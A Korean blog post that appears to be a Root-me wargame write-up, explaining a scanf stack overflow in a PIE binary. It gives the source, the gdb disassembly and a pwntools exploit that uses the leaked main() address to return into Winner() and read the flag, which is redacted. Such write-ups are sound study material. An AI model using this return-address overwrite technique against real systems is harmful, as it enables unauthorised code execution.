728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
// Instructions //
// gcc -o chall chall.c -Wl,-z,norelro -fno-stack-protector (on the app-systeme-ch61 server for instance, but the goal is to enable NX and PIE)
void Winner() {
printf("Access granted!\n");
FILE *fp;
int c;
fp = fopen(".passwd", "r");
if (fp == NULL)
{
perror("Error while opening the file.\n");
exit(EXIT_FAILURE);
}
else {
printf("Super secret flag: ");
while ((c = getc(fp)) != EOF)
putchar(c);
fclose(fp);
}
}
int Loser() {
printf("Access denied!\n");
return 0;
}
int main() {
char key[30];
printf("I'm an unbreakable safe, so you need a key to enter!\n");
printf("Hint, main(): %p\n",main);
printf("Key: ");
scanf("%s", &key);
Loser();
return 0;
}
2.2. 분석
main 함수에서 값을 받아들인 뒤 loser 함수를 실행하고 종료한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
scanf 함수에서 입력받는 길이를 확인하지 않아 key 변수의 크기를 넘어서 입력 가능한 기본적인 stack overflow 문제이다.
3.2. 공격 준비
ASLR이 걸려있어서 함수들의 시작 주소는 변경되어도 각 함수 간의 offset 은 변경되지 않는다는 점을 이용할 수 있을 것 같다.
우선 각 함수간의 offset을 gdb로 확인해보면 아래와 같으며,
프로그램 실행 전에는 시작 주소로부터의 offset만을 주소로 가지고 있다.
gef➤ disas Winner
Dump of assembler code for function Winner:
0x000000000000087a <+0>: push %rbp
0x000000000000087b <+1>: mov %rsp,%rbp
0x000000000000087e <+4>: sub $0x10,%rsp
0x0000000000000882 <+8>: lea 0x17f(%rip),%rdi # 0xa08
0x0000000000000889 <+15>: callq 0x6e0 <puts@plt>
0x000000000000088e <+20>: lea 0x183(%rip),%rsi # 0xa18
0x0000000000000895 <+27>: lea 0x17e(%rip),%rdi # 0xa1a
0x000000000000089c <+34>: callq 0x720 <fopen@plt>
0x00000000000008a1 <+39>: mov %rax,-0x8(%rbp)
0x00000000000008a5 <+43>: cmpq $0x0,-0x8(%rbp)
0x00000000000008aa <+48>: jne 0x8c2 <Winner+72>
0x00000000000008ac <+50>: lea 0x175(%rip),%rdi # 0xa28
0x00000000000008b3 <+57>: callq 0x730 <perror@plt>
0x00000000000008b8 <+62>: mov $0x1,%edi
0x00000000000008bd <+67>: callq 0x750 <exit@plt>
0x00000000000008c2 <+72>: lea 0x17e(%rip),%rdi # 0xa47
0x00000000000008c9 <+79>: mov $0x0,%eax
0x00000000000008ce <+84>: callq 0x700 <printf@plt>
0x00000000000008d3 <+89>: jmp 0x8df <Winner+101>
0x00000000000008d5 <+91>: mov -0xc(%rbp),%eax
0x00000000000008d8 <+94>: mov %eax,%edi
0x00000000000008da <+96>: callq 0x6d0 <putchar@plt>
0x00000000000008df <+101>: mov -0x8(%rbp),%rax
0x00000000000008e3 <+105>: mov %rax,%rdi
0x00000000000008e6 <+108>: callq 0x710 <_IO_getc@plt>
0x00000000000008eb <+113>: mov %eax,-0xc(%rbp)
0x00000000000008ee <+116>: cmpl $0xffffffff,-0xc(%rbp)
0x00000000000008f2 <+120>: jne 0x8d5 <Winner+91>
0x00000000000008f4 <+122>: mov -0x8(%rbp),%rax
0x00000000000008f8 <+126>: mov %rax,%rdi
0x00000000000008fb <+129>: callq 0x6f0 <fclose@plt>
0x0000000000000900 <+134>: nop
0x0000000000000901 <+135>: leaveq
0x0000000000000902 <+136>: retq
End of assembler dump.
gef➤ disas Loser
Dump of assembler code for function Loser:
0x0000000000000903 <+0>: push %rbp
0x0000000000000904 <+1>: mov %rsp,%rbp
0x0000000000000907 <+4>: lea 0x14d(%rip),%rdi # 0xa5b
0x000000000000090e <+11>: callq 0x6e0 <puts@plt>
0x0000000000000913 <+16>: mov $0x0,%eax
0x0000000000000918 <+21>: pop %rbp
0x0000000000000919 <+22>: retq
End of assembler dump.
gef➤ disas main
Dump of assembler code for function main:
0x000000000000091a <+0>: push %rbp
0x000000000000091b <+1>: mov %rsp,%rbp
0x000000000000091e <+4>: sub $0x20,%rsp
0x0000000000000922 <+8>: lea 0x147(%rip),%rdi # 0xa70
0x0000000000000929 <+15>: callq 0x6e0 <puts@plt>
0x000000000000092e <+20>: lea -0x1b(%rip),%rsi # 0x91a <main>
0x0000000000000935 <+27>: lea 0x169(%rip),%rdi # 0xaa5
0x000000000000093c <+34>: mov $0x0,%eax
0x0000000000000941 <+39>: callq 0x700 <printf@plt>
0x0000000000000946 <+44>: lea 0x16a(%rip),%rdi # 0xab7
0x000000000000094d <+51>: mov $0x0,%eax
0x0000000000000952 <+56>: callq 0x700 <printf@plt>
0x0000000000000957 <+61>: lea -0x20(%rbp),%rax
0x000000000000095b <+65>: mov %rax,%rsi
0x000000000000095e <+68>: lea 0x158(%rip),%rdi # 0xabd
0x0000000000000965 <+75>: mov $0x0,%eax
0x000000000000096a <+80>: callq 0x740 <__isoc99_scanf@plt>
0x000000000000096f <+85>: mov $0x0,%eax
0x0000000000000974 <+90>: callq 0x903 <Loser>
0x0000000000000979 <+95>: mov $0x0,%eax
0x000000000000097e <+100>: leaveq
0x000000000000097f <+101>: retq
End of assembler dump.
즉, 코드에서 main 함수의 주소를 출력해주는데 이를 기준으로 offset 만 더하거나 빼주면 원하는 함수의 주소를 찾을 수 있게 되는 것이다.
그리고 key 변수의 크기는 30 byte로 선언되어있지만, 실제로는 어셈블러 코드 main+4와 같이 32 byte가 할당되었으며, rsp 8 byte를 고려하면 총 40 byte 이후에 rip의 주소가 오는 것을 예상할 수 있다.
그러므로 페이로드는 dummy 40 byte + Winner address 8 byte가 된다.
해당 파일을 실행하면 출력되는 메시지는 아래와 같다.
app-systeme-ch83@challenge03:~$ ./ch83
I'm an unbreakable safe, so you need a key to enter!
Hint, main(): 0x55e4434a891a
Key: aaaa
Access denied!
4. exploit
from pwn import *
offset=0x91a-0x87a
pay=b''
pay+=b'A'*40
s = ssh(user='app-systeme-ch83',host='challenge03.root-me.org',port=2223,password='app-systeme-ch83')
p=s.process('./ch83')
p.recvuntil(b'main(): 0x')
mainadd=(p.recv(12))
winadd=p64(int(mainadd,16)-int(offset))
pay+=winadd
p.recvuntil(b': ')
p.sendline(pay)
print (p.recv(1024).decode())
print (p.recv(1024).decode())
┌──(kali㉿kali)-[~]
└─$ python a.py
[+] Connecting to challenge03.root-me.org on port 2223: Done
[*] app-systeme-ch83@challenge03.root-me.org:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'./ch83') on challenge03.root-me.org: pid 8138
Access denied!
Access granted!
Super secret flag: -------------- #플래그는 삭제
아... 문제 푸는 것보다 코딩이 더 어렵다 ㅠㅠ
728x90
반응형
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - Stack buffer overflow basic 4 (0) | 2022.07.11 |
---|---|
[App-System] ELF x64 - Double free (0) | 2022.07.09 |
[App-System] ELF x86 - BSS buffer overflow (0) | 2022.07.08 |
[App-System] ELF x86 - Use After Free - basic (0) | 2022.07.08 |
[App-System] ELF x86 - Stack buffer overflow basic 3 (0) | 2022.07.07 |